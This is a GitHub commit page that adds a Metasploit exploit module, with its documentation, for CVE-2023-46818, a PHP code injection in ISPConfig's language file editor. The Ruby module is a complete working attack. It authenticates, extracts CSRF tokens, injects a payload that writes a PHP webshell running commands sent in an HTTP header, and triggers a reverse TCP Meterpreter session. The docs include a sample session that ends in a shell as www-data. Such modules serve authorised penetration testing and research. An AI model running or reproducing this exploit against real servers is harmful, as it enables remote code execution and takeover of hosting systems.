Skip to content

Commit d787444

Browse files
committed
Add exploit module for ISPConfig language_edit.php PHP Code Injection (CVE-2023-46818)
- Adds modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb - Adds documentation for the module in documentation/modules/exploit/linux/http/ispconfig_lang_edit_php_code_injection.md - Module targets ISPConfig < 3.2.11p1 with admin_allow_langedit enabled - References and implementation based on PoC and advisories at https://github.com/SyFi/CVE-2023-46818
1 parent 256ad33 commit d787444

File tree

2 files changed

+315
-0
lines changed

2 files changed

+315
-0
lines changed
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
## Vulnerable Application
2+
3+
ISPConfig before 3.2.11p1 is vulnerable to PHP code injection via the language file editor (language_edit.php) if the `admin_allow_langedit` option is enabled. An authenticated administrator can inject arbitrary PHP code, leading to remote code execution on the server.
4+
5+
- Vendor Advisory: https://www.ispconfig.org/
6+
- CVE: [CVE-2023-46818](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
7+
- PoC/Details: [https://github.com/SyFi/CVE-2023-46818](https://github.com/SyFi/CVE-2023-46818)
8+
- Exploit writeup: [https://karmainsecurity.com/KIS-2023-13](https://karmainsecurity.com/KIS-2023-13)
9+
10+
### Setup Example
11+
12+
1. Download and install ISPConfig (vulnerable version, e.g., 3.2.11 or earlier)
13+
2. Enable `admin_allow_langedit` in the ISPConfig configuration.
14+
3. Create an admin user for testing.
15+
16+
## Verification Steps
17+
18+
1. Start msfconsole
19+
2. Do: `use exploit/linux/http/ispconfig_lang_edit_php_code_injection`
20+
3. Set the `RHOSTS`, `USERNAME`, and `PASSWORD` options
21+
4. Set `TARGETURI` if ISPConfig is not at the web root
22+
5. Run the module
23+
6. You should get a Meterpreter or command shell session as the web server user.
24+
25+
## Options
26+
27+
### USERNAME
28+
The ISPConfig administrator username to authenticate with.
29+
30+
### PASSWORD
31+
The ISPConfig administrator password to authenticate with.
32+
33+
### TARGETURI
34+
The base path to ISPConfig (default: `/`).
35+
36+
### LOGIN_TIMEOUT
37+
Timeout for login request (default: 15 seconds).
38+
39+
### DELETE_SHELL
40+
Whether to delete the webshell after exploitation (default: true).
41+
42+
## Scenarios
43+
44+
### ISPConfig 3.2.11 (or earlier), Ubuntu 20.04
45+
46+
```
47+
msf6 > use exploit/linux/http/ispconfig_lang_edit_php_code_injection
48+
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > set rhosts 192.168.1.100
49+
rhosts => 192.168.1.100
50+
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > set username admin
51+
username => admin
52+
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > set password adminpass
53+
password => adminpass
54+
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > run
55+
56+
[*] Started reverse TCP handler on 192.168.1.1:4444
57+
[*] Running automatic check ("set AutoCheck false" to disable)
58+
[+] ISPConfig installation detected
59+
[*] Attempting login with username 'admin' and password 'adminpass'
60+
[+] Login successful!
61+
[*] Injecting PHP shell...
62+
[+] CSRF tokens extracted: ID=abc123..., KEY=def456...
63+
[+] Shell successfully injected: sh_xxxxx.php
64+
[*] Starting payload handler...
65+
[+] PHP payload triggered
66+
[*] Waiting for session...
67+
[+] Shell responsive: uid=33(www-data) gid=33(www-data) groups=33(www-data)
68+
69+
id
70+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
71+
uname -a
72+
Linux ubuntu 5.15.0-52-generic #58~20.04.1-Ubuntu SMP Thu Oct 13 13:09:46 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
73+
```
74+
75+
## Notes
76+
- The module requires valid ISPConfig admin credentials and the `admin_allow_langedit` option enabled.
77+
- The shell is removed after exploitation if `DELETE_SHELL` is true.
78+
- The exploit drops a PHP webshell and triggers the payload for Meterpreter or command shell access.
Lines changed: 237 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,237 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'ISPConfig language_edit.php PHP Code Injection',
18+
'Description' => %q{
19+
An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => [
23+
'syfi' # Discovery and PoC
24+
],
25+
'References' => [
26+
['CVE', '2023-46818'],
27+
['URL', 'https://github.com/SyFi/CVE-2023-46818'],
28+
['URL', 'https://karmainsecurity.com/KIS-2023-13'],
29+
['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
30+
],
31+
'Platform' => 'php',
32+
'Arch' => ARCH_PHP,
33+
'Targets' => [
34+
[
35+
'Automatic PHP',
36+
{
37+
'Platform' => 'php',
38+
'Arch' => ARCH_PHP
39+
}
40+
]
41+
],
42+
'Privileged' => false,
43+
'DisclosureDate' => '2023-10-24',
44+
'DefaultTarget' => 0,
45+
'DefaultOptions' => {
46+
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
47+
},
48+
'Notes' => {
49+
'Stability' => [CRASH_SAFE],
50+
'Reliability' => [REPEATABLE_SESSION],
51+
'SideEffects' => [IOC_IN_LOGS]
52+
}
53+
)
54+
)
55+
56+
register_options([
57+
OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
58+
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
59+
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
60+
])
61+
62+
register_advanced_options([
63+
OptInt.new('LOGIN_TIMEOUT', [true, 'Timeout for login request', 15]),
64+
OptBool.new('DELETE_SHELL', [true, 'Delete webshell after session', true])
65+
])
66+
end
67+
68+
def check
69+
print_status('Checking if target is ISPConfig...')
70+
res = send_request_cgi({
71+
'method' => 'GET',
72+
'uri' => normalize_uri(target_uri.path, 'login', '')
73+
})
74+
return CheckCode::Unknown unless res
75+
if res.body.include?('ISPConfig') || res.body.include?('ispconfig')
76+
print_good('ISPConfig installation detected')
77+
return CheckCode::Detected
78+
end
79+
CheckCode::Safe
80+
end
81+
82+
def authenticate
83+
print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
84+
res = send_request_cgi({
85+
'method' => 'POST',
86+
'uri' => normalize_uri(target_uri.path, 'login', ''),
87+
'vars_post' => {
88+
'username' => datastore['USERNAME'],
89+
'password' => datastore['PASSWORD'],
90+
's_mod' => 'login'
91+
},
92+
'keep_cookies' => true
93+
}, datastore['LOGIN_TIMEOUT'])
94+
fail_with(Failure::NoAccess, 'Login request failed') unless res
95+
if res.body.match(/Username or Password wrong/i)
96+
fail_with(Failure::NoAccess, 'Login failed: Invalid credentials')
97+
end
98+
if res.headers['Location'] && res.headers['Location'].include?('admin') ||
99+
res.body.downcase.include?('dashboard')
100+
print_good('Login successful!')
101+
return true
102+
end
103+
print_warning('Login status unclear, attempting to continue...')
104+
true
105+
end
106+
107+
def generate_random_string(length = 10)
108+
charset = ('a'..'z').to_a
109+
Array.new(length) { charset.sample }.join
110+
end
111+
112+
def generate_shell_code
113+
print_status('Generating PHP payload...')
114+
php_payload = payload.encoded
115+
php_shell = %Q{<?php\nprint('____SHELL_START____');\nif(isset($_SERVER['HTTP_CMD'])) {\n $cmd = base64_decode($_SERVER['HTTP_CMD']);\n if($cmd == 'PAYLOAD_TRIGGER') {\n #{php_payload}\n } elseif($cmd) {\n passthru($cmd);\n }\n} else {\n #{php_payload}\n}\nprint('____SHELL_END____');\n?>}
116+
Rex::Text.encode_base64(php_shell)
117+
end
118+
119+
def inject_shell
120+
print_status('Injecting PHP shell...')
121+
@shell_file = "sh_#{generate_random_string}.php"
122+
php_code = generate_shell_code
123+
injection = "'];file_put_contents('#{@shell_file}',base64_decode('#{php_code}'));die;#"
124+
lang_file = generate_random_string + ".lng"
125+
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
126+
initial_data = {
127+
'lang' => 'en',
128+
'module' => 'help',
129+
'lang_file' => lang_file
130+
}
131+
res = send_request_cgi({
132+
'method' => 'POST',
133+
'uri' => edit_url,
134+
'vars_post' => initial_data,
135+
'keep_cookies' => true
136+
}, 10)
137+
fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
138+
csrf_id_match = res.body.match(/_csrf_id" value="([^"]+)"/)
139+
csrf_key_match = res.body.match(/_csrf_key" value="([^"]+)"/)
140+
unless csrf_id_match && csrf_key_match
141+
fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
142+
end
143+
csrf_id = csrf_id_match[1]
144+
csrf_key = csrf_key_match[1]
145+
print_good("CSRF tokens extracted: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
146+
injection_data = {
147+
'lang' => 'en',
148+
'module' => 'help',
149+
'lang_file' => lang_file,
150+
'_csrf_id' => csrf_id,
151+
'_csrf_key' => csrf_key,
152+
'records[\\]' => injection
153+
}
154+
res = send_request_cgi({
155+
'method' => 'POST',
156+
'uri' => edit_url,
157+
'vars_post' => injection_data,
158+
'keep_cookies' => true
159+
}, 10)
160+
fail_with(Failure::UnexpectedReply, 'Injection request failed') unless res
161+
shell_url = normalize_uri(target_uri.path, 'admin', @shell_file)
162+
print_status('Verifying shell injection...')
163+
res = send_request_cgi({
164+
'method' => 'GET',
165+
'uri' => shell_url,
166+
'keep_cookies' => true
167+
}, 5)
168+
if res && res.body.include?('SHELL_START') && res.body.include?('SHELL_END')
169+
print_good("Shell successfully injected: #{@shell_file}")
170+
register_file_for_cleanup(@shell_file) if datastore['DELETE_SHELL']
171+
return shell_url
172+
else
173+
fail_with(Failure::UnexpectedReply, 'Shell injection failed or shell not accessible')
174+
end
175+
end
176+
177+
def execute_command(command, shell_uri = nil)
178+
return nil unless @shell_file
179+
shell_url = shell_uri || normalize_uri(target_uri.path, 'admin', @shell_file)
180+
encoded_cmd = Rex::Text.encode_base64(command)
181+
res = send_request_cgi({
182+
'method' => 'GET',
183+
'uri' => shell_url,
184+
'headers' => {
185+
'CMD' => encoded_cmd
186+
},
187+
'keep_cookies' => true
188+
}, 15)
189+
return nil unless res
190+
output_match = res.body.match(/____SHELL_START____(.*?)____SHELL_END____/m)
191+
return output_match[1] if output_match
192+
nil
193+
end
194+
195+
def trigger_payload(shell_uri)
196+
print_status('Triggering PHP payload...')
197+
framework.threads.spawn('PayloadTrigger', false) do
198+
send_request_cgi({
199+
'method' => 'GET',
200+
'uri' => shell_uri,
201+
'keep_cookies' => true
202+
}, 10)
203+
end
204+
framework.threads.spawn('PayloadTriggerManual', false) do
205+
select(nil, nil, nil, 2)
206+
execute_command('PAYLOAD_TRIGGER', shell_uri)
207+
end
208+
print_good('PHP payload triggered')
209+
end
210+
211+
def exploit
212+
authenticate
213+
shell_uri = inject_shell
214+
print_status('Starting payload handler...')
215+
trigger_payload(shell_uri)
216+
print_status('Waiting for session...')
217+
select(nil, nil, nil, 5)
218+
if framework.sessions.length == 0
219+
print_warning('No session established automatically')
220+
print_status('Testing shell functionality...')
221+
output = execute_command('id', shell_uri)
222+
if output
223+
print_good("Shell responsive: #{output.strip}")
224+
print_line("\n" + '=' * 60)
225+
print_status('Shell Access Information:')
226+
print_line("URL: #{full_uri}#{shell_uri}")
227+
print_line("Usage: Send base64 encoded commands via 'CMD' HTTP header")
228+
print_line("Manual trigger: curl '#{full_uri}#{shell_uri}'")
229+
print_line("Command example: curl -H 'CMD: #{Rex::Text.encode_base64('id')}' '#{full_uri}#{shell_uri}'")
230+
print_line('=' * 60)
231+
else
232+
print_error('Shell test failed')
233+
print_line("Manual test: curl '#{full_uri}#{shell_uri}'")
234+
end
235+
end
236+
end
237+
end

0 commit comments

Comments
 (0)